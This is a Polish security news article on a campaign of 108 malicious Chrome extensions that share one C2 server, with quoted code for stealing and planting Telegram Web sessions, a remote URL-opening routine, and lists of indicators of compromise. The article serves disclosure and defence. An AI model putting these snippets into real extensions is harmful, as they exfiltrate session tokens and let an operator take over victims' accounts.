Konferencja Mega Sekurak Hacking Party w Krakowie – 26-27 października!

108 złośliwych rozszerzeń Chrome i wspólna infrastruktura C2

27 kwietnia 2026, 13:31 | W biegu | 0 komentarzy

Nieraz pisaliśmy już o złośliwych wtyczkach, które choć zdawały się być (i czasem przez długi czas były) nieszkodliwe, tak naprawdę wykradały dane swoim użytkownikom.

Badacze z Socket zidentyfikowali 108 złośliwych rozszerzeń do Chrome, które – choć publikowane z pięciu różnych kont – kontaktują się z tą samą infrastrukturą C2. Łącznie dodatki te zebrały około 20 tys. instalacji w Chrome Web Store.

TLDR:

  • 108 złośliwych rozszerzeń Chrome współdzieli jedną infrastrukturę C2 i działa jako skoordynowana kampania.
  • 54 z nich zbiera dane kont Google, jedno aktywnie kradnie sesje Telegram Web.
  • Część rozszerzeń usuwa nagłówki bezpieczeństwa (CSP, X-Frame-Options), a inne po otrzymaniu adresu URL z serwera C2 zdalnie otwierają dowolne strony.
  • Mimo pozornie legalnej funkcjonalności, rozszerzenia eksfiltrują dane i w niektórych przypadkach mogą przejmować konta.

Prawie połowa z nich wykrada informacje o koncie Google, jedna przejmuje również sesje Telegram Web, a inne wstrzykują reklamy (m.in. na YouTube, TikTok). Rozszerzenia są zróżnicowane, zapewne aby dotrzeć do różnych grup użytkowników. Znaleźć można zarówno dodatki do obsługi Telegrama, gry, narzędzia ulepszające YouTube i TikTok czy wtyczki do tłumaczeń.

Co ciekawe, mają one także wiarygodną warstwę. Użytkownicy instalujący rozszerzenie do Telegrama faktycznie otrzymują działający interfejs w panelu bocznym. Faktycznie można zagrać w grę. Równocześnie działa jednak złośliwy kod, który wykrada dane i wysyła je na serwer C2. 

Atakujący ma również możliwość otwarcia dowolnego URL w przeglądarce użytkownika.

Rys. 1 – wtyczki w Chrome Web Store, źródło: socket.dev

Wykradanie sesji z Telegrama

“Najciekawszym” rozszerzeniem w ramach tej kampanii jest Telegram Multi-account. Wykrada ono token aktywnej sesji Telegram Web z przeglądarki ofiary i przesyła go do tg[.]cloudapi[.]stream/save_session.php co 15 sekund.

Całość polega na wstrzyknięciu skryptu, który działa w document_start (co oznacza, że uruchamiany jest przed zbudowaniem drzewa DOM). Następnie wywoływana jest funkcja getSessionDataJson(), która wyodrębnia wartość user_auth z localStorage.

let getInfo = getSessionDataJson();
if (getInfo.user_id !== null) {
    chrome.runtime.sendMessage({ action: “save_session”, data: JSON.stringify(getInfo) });
}

setInterval(async () => {
    let getInfo = getSessionDataJson();
    if (getInfo.user_id !== null) {
        await chrome.runtime.sendMessage({ action: “save_session”, data: JSON.stringify(getInfo) });
    }
}, 15000);

Listing 1 – skrypt content.js wykradający sesje, źródło: socket.dev

Wykradziony token jest przekazywany do skryptu background.js, który wysyła go do serwera C2:

let answr = await postJson(‘https://tg[.]cloudapi[.]stream/save_session.php’, {
    uuid: result.uuid,
    session: xJsonData
});

Listing 2 – skrypt background.js, źródło: socket.dev

Ale to nie koniec. Wtyczka pozwala również przejmować sesje… odwrotnie. Gdy otrzyma wiadomość set_session_changed, czyści zawartość localStorage ofiary, nadpisuje ją danymi sesji dostarczonymi przez operatora i wymusza przeładowanie Telegram. Pozwala to operatorowi zamienić przeglądarkę dowolnej ofiary na inne konto Telegram bez jej wiedzy.

if (message.action === ‘set_session_changed’) {    let data = if (message.action === ‘set_session_changed’) {
    let data = JSON.parse(message.data);
    localStorage.clear();
    clearAllCookies();
    for (var k in data) { localStorage.setItem(k, data[k]); }
    setTimeout(() => { window.location = “https://web.telegram.org/k/?r_=” + Math.random(); }, 500);
}

Listing 3 – skrypt content.js ustawiający sesję, źródło: socket.dev

Drugie z rozszerzeń, Web Client for Telegram – Teleside, jest przygotowane do wykradania sesji z Telegrama, jednak od wersji v3.8.0 tego nie robi. Przez API declarativeNetRequest modyfikuje jednak nagłówki, usuwając CSP, X-Frame-Options i modyfikując politykę CORS Telegrama. 

Rozszerzenie to bazuje na zmodyfikowanej wersji SidebarGPT. Funkcja loadInfo() umożliwia atakującemu aktywowanie lub zmianę payloadu bez publikowania aktualizacji wtyczki w Chrome Web Store. Dodatkowo w ramach content-sidebar.html wyświetlany jest baner serwowany bezpośrednio z https[:]//multiaccount[.]cloudapi[.]stream/game.html, a więc także możliwy do modyfikacji w dowolnym momencie.

Jednak celem jest nie tylko Telegram. Pięć innych rozszerzeń używa API Chrome declarativeNetRequest do usuwania nagłówków bezpieczeństwa przed załadowaniem strony. Każde z nich usuwa CSP, X-Frame-Options, ustawia Access-Control-Allow-Origin na * oraz zmienia wysyłane wartości: User-Agent, Origin i Referer.

Telegram Multi-account oraz Teleside modyfikują nagłówki dla web[.]telegram[.]org, a pozostałe:

  • YouSide – youtube[.]com
  • SideYou – youtube[.]com
  • Web Client for TikTok – www[.]tiktok[.]com

Rozszerzenie dla TikTok dodaje regułę odblokowującą WebSocket dla wszystkich URL. Content script wstrzykuje baner serwowany bezpośrednio z https[:]//multiaccount[.]cloudapi[.]stream/game.html na każdej stronie TikToka.

Dodatkowo wtyczka posiada plik ukraine.html zawierający politykę prywatności zatytułowaną “Privacy Policy – Telegram Sidebar Extension” – wskazuje to na kopiowanie kodu między rozszerzeniami.

Pobieranie danych z Google

54 z 108 złośliwych rozszerzeń pozyskuje informacje o koncie Google użytkownika. Wszystkie wykorzystują w tym celu identyczny kod. Najpierw za pomocą API chrome.identity uzyskuje token OAuth2, a następnie wykonuje żądanie do https[:]//www[.]googleapis[.]com/oauth2/v3/userinfo, w wyniku czego pozyskuje informacje o koncie użytkownika. Wymaga to od ofiary jedynie kliknięcia przycisku “Zaloguj” w przeglądarce.

Adres e-mail, imię i nazwisko, zdjęcie profilowe oraz identyfikator konta są następnie wysyłane do https[:]//mines[.]cloudapi[.]stream/auth_google. Sam token OAuth jest używany lokalnie i nie opuszcza przeglądarki. Komplet uzyskiwanych informacji może pozwolić na zidentyfikowanie konkretnego użytkownika, jednak nie daje dostępu do jego konta.

Do pobierania danych z API Google wszystkie 54 rozszerzenia używają identyfikatorów (OAuth2 client ID) przypisanych do dwóch projektów Google Cloud. To kolejna cecha pozwalająca przypisać wszystkie te wtyczki jednej kampanii.

Zdalne otwarcie adresu URL

45 rozszerzeń zawiera identyczną funkcję w background script. Uruchamia się ona przy każdym starcie przeglądarki:

async function loadInfo() {
  const response = await fetch(“https://mines[.]cloudapi[.]stream/user_info”, {
    method: “POST”,
    headers: { “Content-Type”: “application/json” },
    body: JSON.stringify({ type: ‘background’, ext: chrome.runtime.id })
  });
  const result = await response.json();
  if (result && result.success && result.infoURL) {
    chrome.tabs.create({ url: result.infoURL });
  }
}
loadInfo();

Listing 4 – skrypt pobierający infoURL, źródło: socket.dev

Jeśli w odpowiedzi zostanie zwrócony infoURL, wtyczka otworzy go w nowej karcie. Dzieje się to bez żadnej bezpośredniej interakcji ze strony użytkownika.

Ten endpoint odpowiada również za wstrzykiwanie HTML w 78 rozszerzeniach (mowa o grach/kasynach). Zawierają one skrypt userpage.js, który dodaje pola otrzymane w odpowiedzi do strony samej wtyczki (za pomocą innerHTML). Dzieje się to bez jakiejkolwiek sanityzacji, a więc możliwe jest wysłanie w ten sposób dowolnego kodu, także zawierającego skrypty JS.

Infrastruktura C2

Wszystkie 108 rozszerzeń współdzieli backend pod adresem 144[.]126[.]135[.]238 (VPS Contabo). Domenę cloudapi[.]stream zarejestrowano 30 kwietnia 2022 przez Hosting Ukraine LLC. Na serwerze działa Strapi CMS oraz baza danych PostgreSQL. Część wtyczek korzysta także z drugiej domeny – top[.]rodeo – jest ona używana jako backend do gier.

O ile samo pobieranie informacji profilowych konta Google nie pozwala na przejęcie dostępu do konta, jest to niezgodne z zasadami Google. Wtyczki korzystające z identity API – zgodnie z tą polityką – powinny wykorzystywać dane uzyskane przez OAuth2 jedynie w celu dostarczenia usługi, której użytkownik wyraźnie zażądał. Rutynowe wysyłanie ich na serwer C2 raczej nie mieści się w takim zakresie.

Jak widać nawet pozornie nieszkodliwe dodatki Chrome Web Store mogą działać nieco inaczej, niż obiecują ich opisy. Niestety często bezpłatny produkt oznacza, że to dane są produktem – nawet, jeśli jego polityka prywatności mówi co innego. 

Jedna z wtyczek szła jednak na całość i wykradała sesje Telegrama – co oznacza de facto dostęp do wszystkich wiadomości ofiary i możliwość wysyłania nowych w jej imieniu.

Warto pamiętać, że każde zainstalowane w przeglądarce rozszerzenie zwiększa możliwą płaszczyznę ataku. Warto więc ograniczać ich liczbę w przeglądarce, nie zapominając przy tym o innych miejscach gdzie wtyczki są popularne, jak np. edytory kodu. 

Można rozważyć również instalację niektórych wtyczek (np. służących tylko do pracy z danymi / używanych okazjonalnie) w osobnej przeglądarce dedykowanych tylko do tego celu (może to ograniczyć skutki części ataków). Polecamy też uwadze nasze poprzednie teksty o wtyczkach.

IOC

Subdomeny:

  • cloudapi[.]stream
  • tg[.]cloudapi[.]stream
  • mines[.]cloudapi[.]stream
  • topup[.]cloudapi[.]stream
  • cdn[.]cloudapi[.]stream
  • multiaccount[.]cloudapi[.]stream
  • wheel[.]cloudapi[.]stream
  • gamewss[.]cloudapi[.]stream
  • api[.]cloudapi[.]stream
  • chat[.]cloudapi[.]stream
  • crm[.]cloudapi[.]stream
  • top[.]rodeo
  • metal[.]cloudapi[.]stream
  • 144[.]126[.]135[.]238
  • coin-miner[.]cloudapi[.]stream
  • goldminer[.]cloudapi[.]stream
  • herculessportslegend[.]cloudapi[.]stream

Adresy e-mail używane do publikowania wtyczek i pojawiające się w ich kodzie:

  • kiev3381917@gmail[.]com
  • formatron.service@gmail[.]com
  • nashprom.info@gmail[.]com
  • viktornadiezhdin@gmail[.]com
  • support@top[.]rodeo
  • slava.nadejdin.kiev@gmail[.]com
  • nadejdinv@gmail[.]com

Projekty Google Cloud:

  • 1096126762051
  • 170835003632

Wtyczki:

  • obifanppcpchlehkjipahhphbcbjekfa – Telegram Multi-account
  • mdcfennpfgkngnibjbpnpaafcjnhcjno – Web Client for Telegram – Teleside
  • mmecpiobcdbjkaijljohghhpfgngpjmk – YouSide – Youtube Sidebar
  • bfoofgelpmalhcmedaaeogahlmbkopfd – Web Client for Youtube – SideYou
  • cbfhnceafaenchbefokkngcbnejached – Web Client for TikTok
  • ogogpebnagniggbnkbpjioobomdbmdcj – Text Translation
  • ldmnhdllijbchflpbmnlgndfnlgmkgif – Page Locker
  • lnajjhohknhgemncbaomjjjpmpdigedg – Page Auto Refresh
  • aecccajigpipkpioaidignbgbeekglkd – Web Client for Rugby Rush – SideGame
  • akebbllmckjphjiojeioooidhnddnplj – Formula Rush Racing Game
  • akifdnfipbeoonhoeabdicnlcdhghmpn – Piggy Prizes – Slot Machine
  • akkkopcadaalekbdgpdikhdablkgjagd – Slot Arabian
  • alkfljfjkpiccfgbeocbbjjladigcleg – Frogtastic
  • alllblhkgghelnejlggmmgjbkdabidie – Black Beard Slot Machine
  • amkkjdjjgiiamenbopfpdmjcleecjjgg – Indian – Slot Machine
  • amnaljnjmgajgajelnplfmidgjgbjfhe – Mahjong Deluxe
  • bbjdlbemjklojnbifkgameepcafflmem – Crazy Freekick
  • bdnanfggeppmkfhkgmpojkhanoplkacc – Slot Car Racing
  • bgdkbjcdecedfoejdfgeafdodjgfohno – Clear Cache Plus
  • bnchgibgpgmlickioneccggfobljmhjc – Galactica Delux – Slot Machine
  • bpljfbcejldmgeoodnogeefaihjdgbam – Speed Test for Chrome – WiFi SpeedTest
  • cbnekafldflkmngbgmbnfmchjaelnhem – Game SkySpeedster
  • cdpiopekjeonfjeocbfebemgocjciepp – Master Chess
  • cehdkmmfadpplgchnbjgdngdcjmhlfcc – Hockey Shootout
  • cljengcehefhflhoahaambmkknjekjib – Odds Of The Gods – Slot Machine
  • clpgopiimdjcilllcjncdkoeikkkcfbi – Billiards Pro
  • cmeoegkmpbpcoabhlklbamfeidebgmdf – Three Card Poker
  • cmlbghnlnbjkdgfjlegkbjmadpbmlgjb – Donuts – Slot Machine
  • cnibdhllkgidlgmaoanhkemjeklneolk – Archer – Slot Machine
  • cpnfioldnmhaihohppoaebillnambcgn – Rugby Rush
  • dbohcpohlgnhgjmfkakoniiplglpfhcb – Bingo
  • dcamdpfclondppklabgkfaofjccpioil – Web Client for game Cricket Batter Challenge
  • dljlpildgknddpnahppkihgodokfjbnd – Slot Machine Zeus Treasures
  • dlpiookhionidajbiopmaajeckifeehn – Horse Racing
  • dmaibhbbpmdihedidicfeigilkbobcog – Aztec – Slot Machine
  • dohenclhhdfljpjlnpjnephpccbdgmmb – Straight 4
  • dpdemambcedffmnkfmkephnhhnclmcio – Slot The Gold Pot
  • ejlcbfmhjbkgohopdkijfgggbikgbacb – American Roulette Royale
  • eljfpgehlncincemdmmnebmnlcmfamhm – Asia Slot
  • enmmilgindjmffoljaojkcgloakmloen – Web Client for game Drive Your Car
  • eoklnfefipnjfeknpmigmogeeepddcch – Jurassic Giants – Slot Machine
  • fddajeklkkggbnppabbhkdmnkdjindlo – Street Basketball
  • fibgndhgobbaaekmnneapojgkcehaeac – Tarot Side Panel
  • fjfhejmbhpabkacpoddjbcfandjoacmb – Dragon Slayer – Slot Machine
  • flkdjodmoefccepdihipjdlianmkmhgc – Best Blackjack
  • fmajpchoiahphjiligpmghnhmabolhoh – Book Of Magic – Slot Machine
  • gaafhblhbnkekenogcjniofhbicchlke – Snake – Slot Machine
  • gbaoddbbpompjhmilbgiaapkkakldlpc – Dice King – Classic Craps And Roll Game
  • gbhhgipmedccnankkjchgcidiigmioio – Slot Ramses
  • gfhcdakcnpahfdealajmhcapnhhablbp – Battleship War
  • gipmochingljoikdjakkdolfcbphmlom – Gold Miner 2
  • glofhphmolanicdaddgkmhfmjidjkaem – Greyhound Racing – Dog Race Simulator
  • haochenfmhglpholokliifmlpafilfdc – Hercules: Sports Legend
  • hbobdcfpgonejphpemijgjddanoipbkj – Flicking Soccer
  • hdmppejcahhppjhkncagagopecddokpi – Voodoo Magic – Slot Machine
  • heljkmdknlfhiecpknceodpbokeipigo – Web Client for Hockey Shootout – SideGame
  • hiofkndodabpioiheinoiojjobadpgmj – MASTER CHECKERS
  • hkbihmjhjmehlocilifheeaeiljabenb – Watercraft Rush
  • hlmdnedepbbihmbddepemmbkenbnoegd – Car Rush
  • hmlnefhgicedcmebmkjdcogieefbaagl – Video Poker Deuces Wild
  • hnpbijogiiaegambgpaenjbcbgaeimlf – Slot Machine Ultimate Soccer
  • ibelidmkbnjmmpjgfibbdbkamgcbnjdm – Christmas Eve – Slot Machine
  • ihbkmfoadnfjgkpdmgcboiehapkiflme – Columbus Voyage – Slot Machine
  • ijccacgjefefdpglhclnbpfjlcbagafm – High or Low Casino Game
  • ijfmkphjcogaealhjgijjfjlkpdhhojk – Goalkeeper Challenge
  • ijpgccpmogehkjhdmomckpkfcpbjlmnj – Tropical Beach – Slot Machine
  • imjmnghlhiimodfkdkgnfplhlobehnpm – BlackJack 3D
  • jddinhnhplibccfmniaakhffpjpnaglp – Web Client for game Classic Bowling
  • jmopjanoebpdbopigcbpjhiigmjolikk – Raging Zeus Mines
  • jnmmbmkmbkcccpihjgnhjmhhkokfdnfe – Classic Backgammon
  • jodocbbdcdclkhjkibnlfhbmllcpfkfo – Slot Machine The Fruits
  • kahcolfecjbejjjadhjafmihdnifonjf – Baccarat
  • kblomapfkjidbbbdllmofkcakcenkmec – Mini Golf World
  • kbmindomjiejdikjaagfdbdfpnlanobi – Gold Rush – Slot Machine
  • kbnkkecifeppobnemkielnpagifkobki – Pirat Slot
  • kjnakdbpijigdbfepipnbafnhbcfdkga – 40 Imperial Crown – Slot Machine
  • kknakidneabpfgepadgpkibalcnabnnh – 3D Soccer Slot Machine
  • klglejfbdeipgklgaepnodpjcnhaihkd – Premium Horse Racing
  • kmiidcaojgeepjlccoalkdimgpfnbagj – Tanks Game
  • lcijkepobdokkgmefebkiejhealgblle – Caribbean Stud Poker
  • lefndgfmmbdklidbkeifpgclmpnhcilg – Wild Buffalo – Slot Machine
  • lfkknbmaifjomagejflmjklcmpadmmdg – Aqua – Slot Machine
  • ljbgkfbiifhpgpipepnfefijldolkhlm – Game Crypto Merge
  • lmcpbhamfpbonaenickjclacodolkbdl – Sherwood Forest – Slot Machine
  • lmgenhmehbcolpikplhkoelmagdhoojn – Web Client for game Fatboy Dream
  • maeccdadgnadblfddcmanhpofobhgfme – Lone Star Jackpots – Slot Machine
  • medkneifmjcpgmmibfppjpfjbkgbgebl – Hidden Kitty Game
  • mheomooihiffmcgldolenemmplpgoahn – Keno
  • mmbbjakjlpmndjlbhihlddgcdppblpka – Jokers Bonanza – Slot Machine
  • mmbkmjmlnhocfcnjmbchmflamalekbnb – Penalty Kicks
  • nbgligggjfgkpphhghhjdoiefbimgooc – Pai Gow Poker
  • ncpdkpcgmdhhnmcjgiiifdhefmekdcnf – Metal Calculator
  • ndajcmifndknmkckdcdefkpgcodciggk – Farm – Slot Machine
  • nelbpdjegmhhgpfcjclhdmkcglimkjpp – Rail Maze Puzzle
  • nkacmelgoeejhjgmmgflbcdhonpaplcg – RED DOG CARD GAME
  • nmegibgeklckejdlfhoadhhbgcdjnojb – Coin Miner 2
  • nodobilhjanebkafmpihkpoabiggnnfl – Black Ninja – Slot Machine
  • oanpifaoclmgmflmddlgkikfaggejobn – Pyramid Solitaire
  • ocflhkadmmnlbieoiiekfcdcmjcfeahe – Chrome Client for Downhill Ski – SideGame
  • odeccdcabdffpebnfancpkepjeecempn – Slot Machine Mr Chicken
  • oejhnncfanbaogjlbknmlgjpleachclf – Web Client for French Roulette – SideGame
  • ogbaedmbbmmipljceodeimlckohbnfan – 3D Roulette Casino Game
  • ojkbafekojdcedacileemekjdfdpkbkf – Slot Machine Space Adventure
  • pdgaknahllnfldmclpcllpieafkaibmf – Whack ’em All
  • peflgkmfmoijonfgcjdlpnnfdegnlaji – Video Poker Jacks or Better
  • phfkdailnomcbcknpdmokejhellbecjb – Swimming Pro
  • pkghgkfjhjghinikeanecbgjehojfhdg – InterAlt
  • pllkanemicadpcmkfodglahcocfdgkhj – Gold of Egypt – Slot Machine

Źródło: socket.dev

~Tymoteusz Jóźwiak

Spodobał Ci się wpis? Podziel się nim ze znajomymi:



Komentarze

Odpowiedz